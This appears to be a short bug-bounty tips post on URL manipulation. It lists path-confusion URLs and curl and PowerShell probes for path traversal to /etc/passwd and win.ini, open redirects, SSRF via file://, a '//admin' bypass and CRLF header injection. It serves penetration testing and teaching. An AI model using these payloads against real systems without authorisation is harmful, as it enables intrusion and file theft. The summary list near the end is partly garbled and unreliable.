Listen to this Post
When testing for bug bounty vulnerabilities, manipulating URLs can reveal hidden security flaws. Below are common URL manipulation techniques used in penetration testing:
1. Basic Path Manipulation:
– `https://exam.com/bing.com`
– `https://exam.com///bing.com`
– `https://exam.com//bing.com`
2. Query Parameter Testing:
– `https://exam.com/bing.com/?`
– `https://exam.com///bing.com/?`
3. Directory Traversal & Path Confusion:
– `https://exam.com/bing.com/`
– `https://exam.com///bing.com/`
– `https://exam.com//bing.com/..;css`
You Should Know:
1. Testing for Path Traversal (Linux/Windows)
Use `curl` to test path traversal vulnerabilities:
curl -v "https://example.com/../../etc/passwd"
Windows equivalent in PowerShell:
Invoke-WebRequest -Uri "https://example.com/../../windows/win.ini"
2. Detecting Open Redirects
Check if a URL allows arbitrary redirects:
curl -I "https://example.com/redirect?url=https://evil.com"
Look for `Location: https://evil.com` in headers.
3. Testing for SSRF (Server-Side Request Forgery)
Use Burp Suite or manually test with:
curl "https://example.com/fetch?url=file:///etc/passwd"
4. Bypassing Authentication with `//`
Some servers normalize `//` differently:
curl "https://example.com//admin//bypass"
5. Testing for CRLF Injection
Check for HTTP header injection:
curl -v "https://example.com/%0D%0ASet-Cookie:malicious=payload"
What Undercode Say:
URL manipulation is a fundamental skill in bug hunting. Always test for:
– Path normalization flaws (/./, /../, //)
– Open redirects (?next=evil.com)
– SSRF & LFI risks (file://, http://internal`)%0D%0A` in URLs)
- CRLF injection (
Expected Output:
A well-tested web application should reject malformed URLs, normalize paths securely, and prevent unauthorized file access or redirects.
Prediction:
As web applications grow more complex, attackers will find new ways to exploit URL parsing inconsistencies—automated scanners will need deeper semantic analysis to catch these bugs.
References:
Reported By: Mamunwhh Bugbountytips – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
